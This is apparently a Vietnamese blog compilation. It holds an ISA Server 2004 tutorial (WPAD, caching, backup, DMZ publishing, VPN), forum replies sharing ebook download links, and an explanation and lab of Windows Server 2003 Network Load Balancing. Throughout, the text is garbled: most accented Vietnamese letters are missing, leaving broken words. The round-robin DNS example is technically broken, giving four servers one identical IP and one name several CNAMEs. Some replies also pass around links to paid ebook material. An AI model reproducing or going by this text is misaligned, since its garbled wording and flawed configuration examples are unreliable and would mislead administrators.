Hy m ISA Management Console, trong phn Network hy nhn p vo Internal Network, chn tab AutoDiscovery v nh du chn mc Publish automatic discovery information, trong Use this port for automatic discovery request hy nhp vo s 80. 2. To CNAME record trong DNS server t tn l WPAD: M ca s DNS Management Console, nhn chut phi ln Domain Zone v chn New Alias (CNAME). Nhp vo WPAD trong phn Alias name v tn y v d WPAD.SECURITY365.ORG trong Full qualified domain name.
Nhn OK hon tt. Hy s dng bt k Firewall Client hay Web Proxy Client no kim tra li. Chn Automatically detect ISA Server trong firewall client v b chn Use proxy server, thay vo l Automatically detec settings trong trnh duyt web t ng d tm Web Proxy. Chn Detect Now, sau khong thi gian ngn tn ISA Server trn h thng ca bn s xut hin Nh vy chng ta ci t v cu hnh ISA Server h tr qu trnh truy cp Internet, ti v v ti ln ti liu thng qua FTP, h tr t ng d tm Firewall v Web Proxy i vi client vi record WPAD trong DNS Server. Tuy nhin, bn nhn thy rng mt s client vn chat c bng MSN Messenger hay s dng cc chng trnh P2P tm kim ti liu. l do nhng ng dng ny c th s dng HTTP, port 80 truyn thng qua web proxy server. C th ngn chn iu ny bng cch hiu chnh permit HTTP policy nh sau: Nhn chut phi permit HTTP Access Rule v chn Configure HTTP. Trong tab Signature nhp vo cc tham s nh hnh di y v nhn OK, sau nhn Apply p dng cho h thng. Tit Kim Bng Thng Vi Tnh Nng Cache V Content Download Job C mt c tnh rt hu ch ca ISA Server tuy nhin mc nh b cm l web caching i vi http v ftp request. Vi ISA chng ta c th thc hin hai c ch caching: - Forward caching: vi c ch ny ni dung cc trang web thng xuyn c truy cp s c ti v trc v lu tr trong phn cache ca ISA server, v vy khi ngi dng m li nhng trang web ny s c tr ni dung trn cache thay v phi kt ni trc tip vi web server trn Internet. Maika 03-21-2007, 09:55 AM Nhn Apply hiu lc firewall policy mi to, lc ny chng ta c 2 acess rule l Default Rule (c chc nng Deny All, lu Default Rule khng th xo c) v Permit Any Traffic from internal network cho php ngi dng trong mng ni b c php s dng tt c cc giao thc trn Internet.
- Reverse caching: ngc li vi forward caching, khi doanh nghip hay t chc c nhng web server cho php ngi dng bn ngoi truy cp, reserver caching tit kim bng thng bng cch lu tr ni dung trang web trn cc proxy server p ng, gim ti cho web server. V vy trn mt s ti liu
reverse cache cn c gi l gateway cache. V mt t chc th chng ta c th xy dng h thng cache trn ISA theo cc m hnh khc nhau ty thuc vo s lng ngi dng v kin trc mng ca mi doanh nghip. - Distributed Caching: cc ISA Server s c phn b u trn mng, nng cao kh nng p ng cho ngi dng.
- Hierarchical caching: khc vi m hnh trn, trong trng hp ny ISA Server s c phn b theo tng cp, cc yu cu s c x l bi nhng ISA Server ni b trc, v vy thi gian p ng cao hn. - Hybrid caching: l s kt hp c hai m hnh trn.
Vy, khi chc nng Web Cache c bt, nhng trang web thng xuyn truy cp s t ng ti v c th c lu gi trn RAM hay a cng ca ISA Server (cache), v ngi dng khi truy cp vo li trang web ny s c tr v ni dung t cache ch khng phi ti v t Internet. Tuy nhin mt s trang web tm kim th khng nn lu tr ni dung trn cache v s cho ra nhng kt qu tm kim khng c cp nht, v vy khi thit lp Web Caching cc bn nn t Caching Rule khng lu gi nhng trang Web nh www.google.com. Ngoi ra mt s trang web thng xuyn c ngi dng truy cp c tin, tham kho gi c th trng, tin tc v bo mt... chng ta c th lp lch dch v Web Proxy Server ti v trc ngoi gi lm vic thng qua chc nng Content Download Job. 1. Enable Web Caching: M ISA Management Console, chn mc Cache trong phn Configuration v nhn chut vo Define Cache Drivers (enable caching). Xc nh phn chia NTFS dnh cho vic lu tr ni dung cc trang web (cache size), v d 20 MB, nhn Set thit lp v nhn OK. Sau khi nhn Apply p dng chc nng Web Cache s c mt hp thoi thng bo Restart li Firewall Services hay ch lu li v khng Restart, hy chn Save the changes and restart the services v nhn OK.
2. To Cache Rule khng lu tr ni dung cc trang Web t www.google.com: Trn khung Task Pane chn Create a Cache Rule. t tn l No Google Cache trong khung New Cache Rule Wizard. Trong cache rule destination, chng ta cn xc nh trang web khng cn lu tr bng cch chn Add, nhn New v trn menu hin th hy chn URL Set, nhp tn l Google sau chn New v a vo a ch http://www.google.com. Nhn OK quay tr li ca s Add New Network Entities, m mc URL Sets v chn Google. Nhn Next tip tc, trn mn hnh tip theo hy chp nhn gi tr mc nh, sau nhn Next v chn Never, no content will ever be cached. Cui cng nhn Finish kt thc qu trnh thit lp. Nh vy ISA Server 2004 ca chng ta c bt chc nng Web Caching tit kim bng thng, ng thi ngn nga vic lu tr ni dung ca trang web tm kim nh Google. Lc ny chng ta c th kim tra li policy mi c to ra trn giao din qun l v nhn Apply p dng. 3. Cu hnh Content Download Job: Gi s ngi dng trn h thng thng truy cp vo trang web www.security365.org xem cc thng tin mi v virus hay cc li bo mt, do chng ta cu hnh ISA Server t ng ti v trang web ny v trc vo ngy gi xc nh no trong tun nng cao hiu qu hot ng. Nhn Content Download Job, trn khung Tasks Pane, chn Schedule a Content Download Job. Chng ta s thy thng bo nh hnh di y. Chn Yes v sau t tn cho Content Download Job l SecureSolution, nhn Next tip tc xc nh lch chy tin trnh. Nhn Next v nhp vo a ch trang web cn ti v trong Download content from this URL, trong trng hp ny chng ta nhp vo www.security365.org. Hy chn gi tr mc nh trong cc bc tip theo hon tt. Maika 03-21-2007, 09:56 AM Sao lu v phc hi thng tin cu hnh ISA Server 2004 Firewall
i vi cc h thng ln vi nhiu phng ban v nhn vin, trong mi b phn li yu cu nhng chnh sch truy cp ring lm cho s lng policy rt nhiu v kh qun l. V vy bo m h thng lun hot ng n nh chng ta cn phi tin hnh sao lu (backup) cc policy mt cch y c th phc hi (restore) khi c s c xy ra. Chng ta c th sao lu ton b ISA Server hay ch mt s cc firewall policy no . Thao tc sau y s tin hnh backup ton b ISA Server. M ISA Management Console, chn server name (ISA) v nhn vo Backup the ISA Server Configuration trn khung Tasks Pane. Tip theo chng ta t tn ca tp tin sao lu (nn t theo dng X-XX-XXXX l ngy-thng-nm backup d phn bit khi tin hnh phc hi), chn ni lu tr v nhn nt Backup. Mt hp thoi yu cu t password cho tp tin backup hin ra, hy nhp password ri nhn OK. Sau khi tin trnh sao lu hon tt. th nghim, bn c th xo mt vi hay ton b firewall policy trn h thng ca mnh, sau chn Restore this ISA Server Configuration trn khung Tasks Pane, xc nh tp tin sao lu, chn Restore v nhp vo password c thit lp cho tp tin ny. Sau khi tin trnh phc hi hon tt chng ta c th kim tra li cc policy trc y ca h thng c phc hi y . Trong trng hp ch sao lu mt firewall policy no chng ta cng tin hnh tng t vi chc nng Export Firewall Policy trn khung Task Pane. Thit Lp Vng DMZ V Publish Server Thng Qua ISA Mt trong nhng thut ng bo mt c nhiu ngi quan tm l DMZ (Demilitarized Zone), y l t ch vng "Phi Qun S" trong th gii thc, cn trong mi trng my tnh th DMZ l vng dnh ring cho nhng server "i ngoi" (nh web server) cho php ngi dng bn ngoi (Internet) truy cp n. Bi v DMZ c tch bit hon ton vi h thng Internal, cho nn khi ngi dng Internet truy cp vo cc my ch ny s khng nh hng v gy nguy him i vi cc my tnh v d liu ni b. Ngoi ra, cc server t trong DMZ cn ngn nga c s tng tc trc tip gia ngi dng bn trong vi ngi dng bn ngoi. Theo ng ngha truyn thng ca DMZ, cc request (yu cu truy cp) ca ngi dng bn trong n cc server "i ngoi" phi qua DMZ trc ri mi n firewall ni b, tuy nhin ngy nay DMZ bao lun c tnh hung ngi dng bn trong kt ni n firewall/router v sau yu cu s c chuyn n cc server trong DMZ da trn Firewall Policy nh trng hp m chng ta p dng sau y trn ISA Server xy dng mt DMZ cha mail v web server. 1. To DMZ:
Trong phn Network hy chn Create a New Network, t tn l DMZ v chn Next, chn Perimeter Nework (chng ta c th to bao nhiu lp mng ty khng nh trn ISA 2000 ch c 3 lp, y l mt ci tin ca ISA Server 2004). Sau khi nhn Next ca s Network Address xut hin, hy chn Add Adapter la chn card mng cho vng DMZ. Nhn OK v a ch mng cho vng DMZ s xut hin nh hnh di (bn c th thay i theo yu cu h thng ca mnh), tip theo chn Next v Finish hon tt. Sau khi nhn Apply p dng cho h thng, trong phn Network chng ta s thy mt lp mng l DMZ tch bit vi h thng Internal, bn c th t Exchange Mail Server hay Apche Web Server trong lp mng ny. 2. Publish Exchange Server trong DMZ: Ly v d, cng ty c mt Exchange Server c a ch l 172.16.1.10 t trong DMZ. ngi dng bn ngoi Internet c th truy cp n mail server gi v nhn mail chng ta cn phi "publish" (cho php truy cp t Internet) chng thng qua ISA Firewall ca mnh. M ISA Management Console, chn Firewall Policy, trn khung Task Pane hy nhn vo Publish a Mail Server hin th New Mail Server Publishing Rule Wizard. t tn cho Publishing Rule ny v chn Next. Trong ca s Select Server Type chng ta chn Server-to-server Communications: SMTP, NNTP. Chn Next, trn khung Select Services hy nh du chn SMTP. Trong ca s tip theo chng ta nhp vo a ch ca Mail Server trong DMZ, y l 172.16.1.10. Cui cng l xc nh lp mng c php kt ni vi Mail Server, trong trng hp ny ngi dng bn ngoi Internet nn chng ta chn lp mng l External v nhn Next, sau chn Finish hon tt qu trnh publish mail server. Cn lu l c th truy cp email th phi c thm nhng protocol khc nh DNS, POP hay RPC. V vy c th chng ta cn cho php cc yu cu v DNS t Mail Server vi Domain Controler (c ci tch hp DNS) trong lp mng Internal hay vi cc ISP DNS. Cu Hnh Remote Access VPN Trn ISA Server Ngoi chc nng qun l truy cp Internet, Publish Web/Mail server v
Caching, chng ta c th dng ISA Server lm VPN Server cung cp cc kt ni remote access cho ngi dng bn trong c th truy cp ti nguyn trn mng ni b. V d cng ty c mt s nhn vin kinh doanh s dng my tnh xch tay v h cn truy cp vo h thng mng LAN thng qua VPN Server kim tra mail, chy nhng chng trnh qun l khch hng hay cp nht cc bo co. Sau y l cc bc cu hnh Remote Access VPN trn ISA 2004. M ISA Management Console chn mc Virtual Private Network (VPN), sau chn Verify that VPN Client Access is Enable. nh du chn Enable VPN client access v t gi tr Maximum number of VPN clients allowed bng 9 (s lng VPN client ti a c th kt ni cng lc) ri nhn OK v Apply chnh sch mi cho firewall. cc VPN client c th kt ni thnh cng hy to group VPN trn domain controler v gn quyn Allow access cho thuc tnh Dial-in i vi nhng user thuc group VPN. Hy ng nhp vo Domain Controler ca h thng v chn Start - > Administrative Tools - > Active Directory Users and Computers. Nhn chut phi trn User container, chn New - > Group. Thm nhng user thuc b phn kinh doanh (nhng ngi cn truy cp qua VPN ) vo VPN Group, v d Joe Franks. Trn thanh thuc tnh ca Joe Franks chn tab Dial-in v nh du chn Allow access. Hy tr li mn hnh qun l ISA Server trn ISA1 m chng ta ang m v chn Specify Windows Users trn danh sch VPN Client, nhn Add v chn group VPN User chng ta to. Vic tip theo cn lm cho php VPN client kt ni l cu hnh a ch IP cho cc VPN client, c hai cch l s dng DHCP cp pht IP ng cho cc client hoc dng mt static pool gn IP cho chng nh sau: Trn khung Tasks Pane nhn vo mc Define Address Assignment, chn Static address pool v nhp vo dy a ch sau: Nhn OK, xc nhn thm mt ln na v khi ng li my tnh. Cui cng, hy to access rule cho php cc VPN client c th truy cp n cc ti nguyn ni b sau khi kt ni thnh cng n VPN server. Hy chn Firewall Policy v chn Create New Access Rule t tn l VPN Client full access to Internal. Nhn Next v chn Allow, trn ca s tip theo chn All outbound trafic. Do access rule cho php VPN client truy cp ti nguyn ni b nn hy xc nh source trafic l VPN Clients trong phn Network. Ngc li khung destination hy chn Internal trong phn Network, v chn cc gi tr mc
nh cho nhng bc tip theo hon tt. By gi ISA Server sn sng cho cc kt ni VPN, bn ch cn to cc VPN Connection n a ch Outside ca firewall v thc hin kt ni v truy cp vo ti nguyn h thng ni b. Bn c th tham kho file trnh din ci t ISA Server ti v ti http://www.security365.org/downloads/demo/ISA2004.rar Hin c phin bn th nghim ISA Server 2006, bn c th ti v ti http://www.microsoft.com/isaserver/2006/beta.mspx. S.T pete4r 03-26-2007, 08:06 PM Link ny mi ng ny : http://www.giaiphapmang.net/doc/ISA%20Server%20Firewall%202004.pdf lucifer4473 05-19-2007, 08:17 AM y l bn cp nht trn Nis.com.vn ch c 10 chng u cc chng quan trng cn li khng c ngh post nt cc chng kia ln. Nhng m ci ny l ca Nis.com.vn sao cc bc bc li ng du giaiphapmang.net vo vi phm bn quyn qu i lucifer4473 05-19-2007, 08:19 AM :p Cac bac cho em hoi sao chi co 10 chuong nhi? Con 6 chuong thi ??? :o ---> V trn nis.com.vn n ch ng c 10 chng thi ai mun y phi ng 300k c. Hin nay 1 b sch ca n c gi 1tr gm y sch v a ting vit v MCSA bao gm tt c video demo a em no c ch hc nhng li hi ho v money chng ta lin kt li mua 1 b ri cng hc:) hai_duong 06-28-2007, 12:07 PM Nh vy l hay ri. Thanks! sonnv 08-22-2007, 10:13 PM bn y 16 chng: http://rapidshare.com/files/50576118/Trien_khai_ISA_Server_Firewall_2004_7 0-730_.pdf http://www.ictvietnam.net/forum/archive/index.php?t-4.html c ng bi haodalat ti 11:00 CH 0 nhn xet Nhan: C TH BN CHA BIT, GII THIU EBOOKS, MCSA, NETWORK
NLB - Network Load Balancing
Hin nay, khi nhu cu truy nhp mng bng n, cc server cung cp dch v ang tr nn qu ti. Vic la chn mt server n l c cu hnh cc mnh p ng nhu cu ny s ko theo chi ph u t rt ln. Gii php hiu qu c a ra l s dng mt nhm server cng thc hin mt chc nng di s iu khin ca mt cng c phn phi ti - Gii php cn bng ti. C rt nhiu hng a ra gii php cn bng ti nh Cisco, Coyote Point, Sun Microsystems... vi rt nhiu tnh nng phong ph. Tuy nhin, v c bn, nguyn tc cn bng ti vn xut pht t nhng quan im k thut kh tng ng. Mt k thut cn bng ti in hnh l RRDNS (Round Robin DNS). Vi gii php ny, nu mt server trong nhm b li, RRDNS s vn tip tc gi ti cho server cho n khi ngi qun tr mng pht hin ra li v tch server ny ra khi danh sch a ch DNS. iu ny s gy ra s t qung dch v. Sau nhng pht trin, t cc thut ton cn bng ti tnh nh Round Robin, Weighted Round Robin n cc thut ton cn bng ti ng nh Least Connection, Weighted Least Connection, Optimized Weighted Round Robin v Optimized Weighted Least Connection, k thut cn bng ti hin nay nh s kt hp cc thut ton trn ngy cng tr nn hon thin mc d nhc im vn c nh to im li n v vn nt c chai do s dng b iu phi tp trung (centralized dispatcher) vn cn. Hot ng ca NLB Mi host trong nhm c th nh ra mc ti m n s x l hoc ti c th phn phi mt cch ng u gia cc host. Nh s dng vic phn phi ti ny, mi server s la chn v x l mt phn ti ca host. Ti do cc client gi n c phn phi sao cho mi server nhn c s lng cc yu cu theo ng phn ti nh ca n. S cn bng ti ny c th iu chnh ng khi cc host tham gia vo hoc ri khi nhm. i vi cc ng dng nh Web server, c rt nhiu client v thi gian m cc yu cu ca client tn ti tng i ngn, kh nng ca k thut ny nhm phn phi ti thng qua nh x thng k s gip cn bng mt cch hiu qu cc ti v cung cp kh nng p ng nhanh khi nhm server c thay i. Cc server trong nhm cn bng ti pht i mt bn tin c bit thng bo trng thi hot ng ca n (gi l heartbeat message) ti cc host khc trong nhm ng thi nghe bn tin ny t cc khc host khc. Nu mt server trong nhm gp trc trc, cc host khc s iu chnh v ti phn phi li ti duy tr lin tc cc dch v cho cc client. Trong phn ln cc trng hp, phn mm client thng t ng kt ni li v ngi s dng ch cm thy tr mt vi giy khi nhn c p ng tr li. Phn phi lu lng trong nhm
NLB s dng hai lp broadcast hoc multicast phn phi ng thi lu lng mng n tt c cc host trong nhm. + Unicast, NLB s gn a ch MAC ging nhau cho tt c cc host trong nhm. Cc gi n NLB do c nhn bi tt c cc host trong nhm v chuyn gi ti trnh iu khin cn bng ti lc. m bo tnh duy nht, a ch MAC c dn xut t a ch IP chnh ca nhm.
V d, vi a ch IP chnh ca nhm l 10.200.200.10, a ch MAC unicast c t l 02-BF-0A-C8-C8-0A. Trnh iu khin cn bng ti s t ng sa a ch MAC ca card nhm bng cch thit lp mt thc th ng k v ti np trnh iu khin card nhm. H iu hnh khng cn phi khi ng li. Nu cc host trong cluster c gn vo mt thit b chuyn mch (swicth) ch khng phi mt b tp trung (hub), vic s dng chung mt a ch MAC s gy ra xung t do cc chuyn mch lp 2 ch c th hot ng khi cc a ch MAC ngun trn tt c cc cng ca thit b chuyn mch l duy nht. trnh iu ny, NLB sa a ch MAC ngun cho cc gi u ra l duy nht, a ch MAC ca nhm l 02-BF-0A-C8-C8-0A c chuyn thnh 02-h-0A-C8C8-0A, trong h l mc u tin ca host trong nhm. K thut ny ngn khng cho thit b chuyn mch tm ra a ch MAC thc s ca nhm v kt qu l cc gi n nhm c phn phi ti tt c cc cng ca thit b chuyn mch. Nu cc host trong nhm c kt ni trc tip vo mt hub, mt n a ch MAC ngun ca NLB trong ch unicast c th c v hiu ho trnh gy ra hin tng trn cho cc thit b chuyn mch ng ln (upstream). iu ny c th thc hin bng cch thit lp tham s ng k NLB l MaskSourceMAC=0. Vic s dng h thng chuyn mch ng ln ba mc cng c th hn ch trn cho cc thit b chuyn mch. + Multicast: NLB cung cp ch th hai phn phi lu lng mng n cc host trong nhm, ch multicast.
Ch ny gn a ch multicast 2 lp cho card nhm thay v thay i a ch trm lm vic ca card. V d, a ch MAC multicast s c gn l 03-BF-0AC8-C8-0A tng ng vi a ch IP chnh l 10.200.200.10. Do mi host trong nhm c mt a ch trm lm vic duy nht, ch ny khng cn mt b card mng th hai trao i thng tin gia cc host trong nhm v n cng khng c bt c nh hng no n hiu nng ca ton h thng do vic s dng cc a ch IP dnh ring.
Ch unicast ca NLB gy ra trn trn switch do s phn phi ng thi lu lng mng trn tt c cc cng. Tuy nhin, ch multicast ca NLB a ra c hi hn ch trn switch ngi qun tr h thng c th cu hnh mt mng LAN o trn switch cho cc cng tng ng vi cc host. C th lm c iu ny bng cch lp trnh cho switch hoc s dng giao thc IGMP hoc giao thc GARP, GMRP. Thut ton cn bng ti NLB s dng thut ton lc phn tn hon ton nh x cc client n cc host trong nhm. Thut ton ny cho php cc host trong nhm a ra cc quyt nh cn bng ti mt cch c lp v nhanh chng cho tng gi n. N c ti u ho cung cp kh nng cn bng ti mt cch thng k i vi mt s lng ln cc yu cu nh do v s client to ra, in hnh l i vi cc Web server. NLB x l cc yu cu ca client bng cch dn ng cho mt t l phn trm chn nhng yu cu mi cho tng host trong nhm. Thut ton khng p ng nhng thay i v ti trn mi host (chng hn nh ti CPU hay vn s dng b nh). Tuy nhin, qu trnh nh x s c thay i khi quan h thnh vin trong nhm thay i v t l phn trm ti phn b s c ti cn bng. Khi xem xt mt gi n, tt c cc host thc hin ng thi vic nh x thng k xc nh nhanh chng host no s x l gi . Qu trnh nh x s dng mt hm ngu nhin tnh mc u tin ca host da trn a ch IP v cng n ca client cng cc thng tin trng thi khc ti u ho vic cn bng ti. Host tng ng s chuyn gi t cc tng di ln tng TCP/IP cn cc host khc s loi b gi ny. Qu trnh nh x khng thay i tr phi quan h gia cc host trong nhm thay i, m bo rng a ch IP v cng n ca client cho trc s lun c nh x n cng mt host trong nhm. Tuy nhin, host c th trong nhm m a ch IP v cng n ca client nh x ti khng th c xc nh trc do hm ngu nhin c tnh n quan h thnh vin trong nhm hin ti v qu kh ti thiu ho kh nng nh x li. Khi mt host mi tham gia vo nhm, n s kch hot qu trnh hi t v mt quan h thnh vin mi trong nhm s c tnh ton. Khi qu trnh hi t hon thnh, mt phn ti thiu client s c nh x ti host mi. NLB d cc kt ni TCP trn mi host v sau khi kt ni TCP hin ti ca chng hon thnh, kt ni tip theo t cc client b nh hng s c x l bi host mi. Do , cc host nn c b sung vo nhm ti nhng thi im ti tng qu mnh nhm ti thiu ho hin tng ngt qung cc phin. trnh vn ny, trng thi phin phi c qun l bi ng dng server sao cho n c
th c ti cu trc hay c tr li t bt k mt host no trong nhm. V d, trng thi phin c th c y n server c s d liu v lu trong cc cookies ca client. Qu trnh hi t Cc host trong nhm trao i nh k cc bn tin "heartbeat" multicast hoc broadcast vi nhau. iu ny cho php cc host c th gim st trng thi ca nhm. Khi trng thi ca nhm thay i (chng hn nh khi c host gp trc trc, ri khi hoc tham gia vo nhm), NLB kch hot mt chu trnh gi l hi t trong cc host trao i bn tin "heartbeat" nh ra mt trng thi mi, bn vng cho nhm. Khi tt c cc t c s "nht tr" trng thi mi ca chng s c thit lp v nhng thay i ny s c lu vo nht k s kin. Trong qu trnh hi t, cc host tip tc x l lu lng mng n nh mi khi ngoi tr lu lng n host b li khng nhn c dch v. Qu trnh hi t kt thc khi tt c cc host trong nhm c c mt quan h thnh vin n nh trong vng mt vi chu k heartbeat. Khi hon thnh qu trnh hi t, lu lng n host b li s c ti phn phi cho cc host cn li. Nu mt host c thm vo nhm, qu trnh hi t cho php host ny nhn c phn ti ca n trong lu lng c cn bng. Vic m rng nhm khng nh hng n cc hot ng ca nhm v theo mt cch hon ton trong sut i vi tt c cc Internet client cng nh trc cc chng trnh phn mm server. Tuy nhin, n c th nh hng n cc phin client v cc client c th phi ti nh x ti cc host khc trong nhm. Trong ch unicast, mi host s pht qung b (broadcast) bn tin "heartbeat" theo chu k. Cn trong ch multicast, n s pht cc bn tin ny ch multicast. Mi bn tin "heartbeat" chim mt khung Ethernet v c gn thm a ch IP chnh ca nhm nhm cho php nhiu nhm c th cng tn ti trn cng mt mng con. Bn tin "heartbeat" ca NLB ca Microsoft c gn mt gi tr 0x886F. Chu k gi cc bn tin ny mc nh l 01 giy. Gi tr ny c th thay i. Trong qu trnh hi t, chu k ny c gim xung ch cn mt na y nhanh vic hon tt qu trnh ny. Thm ch, i vi cc cluster ln, bng thng cn thit truyn cc bn tin "heartbeat" rt thp (24kBytes/s cho mt cluster 16 ng). c th khi to qu trnh hi t, theo mc nh cn 05 bn tin heartbeat khng c nhn. Gi tr ny c th thay i. iu khin t xa C ch iu khin t xa ca NLB s dng giao thc UDP v c gn cng dch v #2504. Cc gi d liu iu khin t xa c gi ti a ch IP chnh
ca nhm. Do trnh iu khin trn mi host trong nhm x l cc gi ny, chng cn c nh tuyn ti mng con ca nhm (thay v ti mt mng con gc m nhm gn vo). Khi cc lnh iu khin t xa c a ra trong nhm, chng s c pht qung b trn mng con cc b. iu ny m bo tt c cc host trong nhm u c th nhn c chng ngay c khi nhm chy trong ch unicast. Hiu nng cn bng ti Vai tr ca NLB tc ng n hiu nng ca h thng c th c nh gi da trn bn tiu ch chnh sau: - CPU overhead trn cc host ca nhm - Phn trm CPU cn thit phn tch v lc cc gi ca mng (cng thp cng tt). Tt c cc gii php cn bng ti u cn s dng mt phn ti nguyn ca h thng xem xt gi n v a ra quyt nh cn bng ti v do t nhiu nh hng n hiu nng ca mng. Gii php cn bng ti da trn b iu phi cn kim tra, hiu chnh v truyn li gi ti cc host trong nhm (thng phi sa i li a ch IP ti nh tuyn gi t a ch IP o ti a ch IP ca tng host c th). i vi NLB, n phn phi ng thi cc gi n ti tt c cc host trong nhm v p dng mt thut ton lc loi b cc gi khng mong mun... Qu trnh lc gy nh hng t hn so vi qu trnh ti nh tuyn v kt qu l thi gian p ng nhanh hn vi thng lng ton h thng cao hn. ng dng NLB thng c ng dng vo cc mc ch sau: . Cc ng dng t c s thay i . Web server . FTP server . VPN server http://vsic.com/forum/showthread.php?t=1287 Cc gii php Load Balancing C 3 gii php thng dng cho Load Balancing l: 1. Round Robin DNS Mt k thut cn bng ti in hnh l RRDNS (Round Robin DNS). Vi gii php ny, nu mt server trong nhm b li, RRDNS s vn tip tc gi ti cho server cho n khi ngi qun tr mng pht hin ra li v tch server ny ra khi danh sch a ch DNS. iu ny s gy ra s t qung dch v.
V d: Trong DNS s cha 4 record ca 4 web server: websrv1 IN A 192.168.1.10 websrv2 IN A 192.168.1.10 websrv3 IN A 192.168.1.10 websrv4 IN A 192.168.1.10 To record loi CNAME c tn www ch n 4server trn www IN CNAME websrv1.vsic.com. IN CNAME websrv2.vsic.com. IN CNAME websrv3.vsic.com. IN CNAME websrv4.vsic.com. 2. S dng phn mm C ch Load Balancing thng c xy dng sn bn trong h iu hnh v d Windows server 2000, 2003, Novell netware, Sun Solaris, Linux .. Trong bi sau ti s trnh by cc bc xy dng h thng Load Balancing trong mi trng mng Windows sever 2003 3. S dng thit b phn cng C rt nhiu hng a ra gii php cn bng ti nh Cisco, Coyote Point, Sun Microsystems... vi rt nhiu tnh nng phong ph. Gii php dng thit b c xem l ti u nht tuy nhin chi ph cng cao hn M hnh sau s dng thit b localdirector ca hng Cisco cn bng ti
Khi la chn thit b phn cng lm Load Balancing, bn cn qua tm n cc thng s sau: Cn bng ti cho hu ht cc ng dng trn nn mng IP: cho php cn bng ti cho hu ht cc ng dng trn nn mng IP nh Web, FTP, E-mail hay video theo yu cu. Cn bng ti theo nhiu phng php : s dng c hai m hnh hot ng tnh v ng cho vic cn bng ti cc my ch. M hnh tnh da trn vic quay vng cung cp dch v ln lt cho tng my ch v theo cng sut ca my ch. Kh nng thit lp cu hnh cc k mm do. h tr cc cu hnh hot ng a dng bao gm: chuyn dch a ch mng/NAT, nh tuyn trc tip, ng hm IP.
Kim tra trng thi ca my ch: thng xuyn kim tra trng thi ca tng my ch m bo rng khng mt yu cu cung cp dch v no c gi n mt my ch ang gp s c. Tt dch v an ton: Tnh nng ny cho php cc dch v trn my ch ch c ng khi tt c cc yu cu c x l xong. Khi c yu cu tt my bo dng hay nng cp mt my ch no , s khng gi cc yu cu cung cp dch v ti my ch na v ngi qun tr mng s c thng bo khi tt c cc yu cu cung cp dch v trn my c x l. D phng nng: Hai thit b c th c kt ni song song vi nhau, mt ch hot ng chnh, mt ch d phng. Nu thit b chnh gp s c th thit b ch d phng s ngay lp tc m nhn vai tr qun l ton b cc giao dch. Kim tra v ng b trng thi hai chiu: Hai thit b s lun ng b trng thi ca nhau theo thi gian thc m bo rng cc thng tin yu cu cung cp dch v v trng thi x l ton b dch v t cc my ch lun c cp nht trn c hai thit b. D phng thng minh: Vi tnh nng d phng thng minh, thit b d phng s ngay lp tc qun l ton b cc yu cu giao dch khi thit b chnh gp s c. ng b theo hai ng: Tn hiu ng b nhp (heartbeat) ca hai thit b m hnh hot ng song song c gi sang nhau thng thng qua c kt ni mng LAN v kt ni serial trc tip. ng b cu hnh v nht k: Kh nng ny cho php cu hnh h thng v nht k lm vic ca c hai thit b ch lm vic song song l nh nhau ti mi thi im. tin cy v kh nng n nh cao: iu khin thit b l h iu hnh nhng v vy tin cy v kh nng n nh c m bo mc cao nht. Nht k chi tit: c kh nng ghi nht k chi tit v h thng, qun tr, tnh sn sng cao v cc cnh bo. Cnh bo qua E-mail: Khi mt thit b hoc bt k my ch no trong h thng gp s c th mt thng bo s c gi n ngi qun tr mng qua E-mail. H tr SNMP: cung cp cc MIB v s gi cc by li (Trap) n b qun l SNMP khi cn thit. H tr UPS: c kh nng giao tip vi h thng lu in ca APC thc
hin cc thao tc ng phin giao dch cn thit khi c s c v ngun trong h thng. Bo mt cao: Cc mt n IP cho php cc my ch thc t khng xut hin trc tip trn mng Internet. Vic h tr SSH/Base64 cho php ngi qun tr qun l cc mc an ton cao nht. Giao din qun tr ho qua WEB v dng lnh: Ngi qun tr c th qun l thng qua giao din ho qua WEB hoc bng dng lnh. http://vsic.com/forum/showthread.php?t=1287 Windows sever 2003 Load Balabcing Cc bc sau y trnh by qu trnh xy dng Network Load Balancing gm 2 node da trn tnh nng Load Balabcing c sn trong windows sever 2003 Bi ny cc bn c th thc hin thng qua 2 my o Windows 2003 chy trn nn VMWare
Bc1: Chun b - t tn cho 2 my l: Node1 v Node2 - t IP cho mi my ln lt l 10.1.1.1 v 10.1.1.2 - a ch IP chung cho nhm server s l 10.1.1.10 Bc 2: Trin khai NBL Ti my 1: - Chy Network Load Balancing Manager Hnh 1 - Chn New Cluster Hnh 2 - Nhp a ch IP cho nhm sever l 10.1.1.10, tn domain, chn ch Multicast (do mi my s dng 1 LAN card) Hnh 3 - Gn thm a ch IP cho nhm server nu cn thit Hnh 4 -Khai bo cc dch v no s c php khai thc NBL, thng qua vic m
port, chn Edit Hnh 5 -Nhp phm vi port s m, v d ta ch trin khai dch v Web trn NLB th ta ch cn m port 80 Hnh 6 - Nhn Next qua bc tip theo
Hnh 7 - Nhp tn ca my u tin: node1, chn connect, chn kt ni mng tham gia NLB, nhn Next. Hnh 8 - Priority: khai bo u tin cho Node ny l 1, cc node tip theo s l 2,3..32. Hnh 9 Chn Finish nh ny c chnh nh li. Bn vui lng nhn vo dng ny hin kch thc gc. Kch thc gc ca nh l 650x418. Ti my 2: Cc bc c th hin ging nh trn my 1, nhng tn my thm vo NLB l node2 v u tin l 2 Bc 3: - Quan st thng tin trang thi NBL gia cc node nh ny c chnh nh li. Bn vui lng nhn vo dng ny hin kch thc gc. Kch thc gc ca nh l 650x418. Hnh 10 - Qu trnh Update gia cc node 1,2 thnh cng
Hnh 11 - Kim tra a ch ca NBL c th truy cp nh ny c chnh nh li. Bn vui lng nhn vo dng ny hin kch thc gc. Kch thc gc ca nh l 668x512. Hnh 12 http://vsic.com/forum/showthread.php?t=1287 c ng bi haodalat ti 9:35 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
SCH LAB TING VIT VSIC
http://vsic.com/forum/showthread.php?p=5673 c ng bi haodalat ti 9:03 CH 0 nhn xet Nhan: C TH BN CHA BIT
13-04-2008
Tm kim hiu qu vi Google
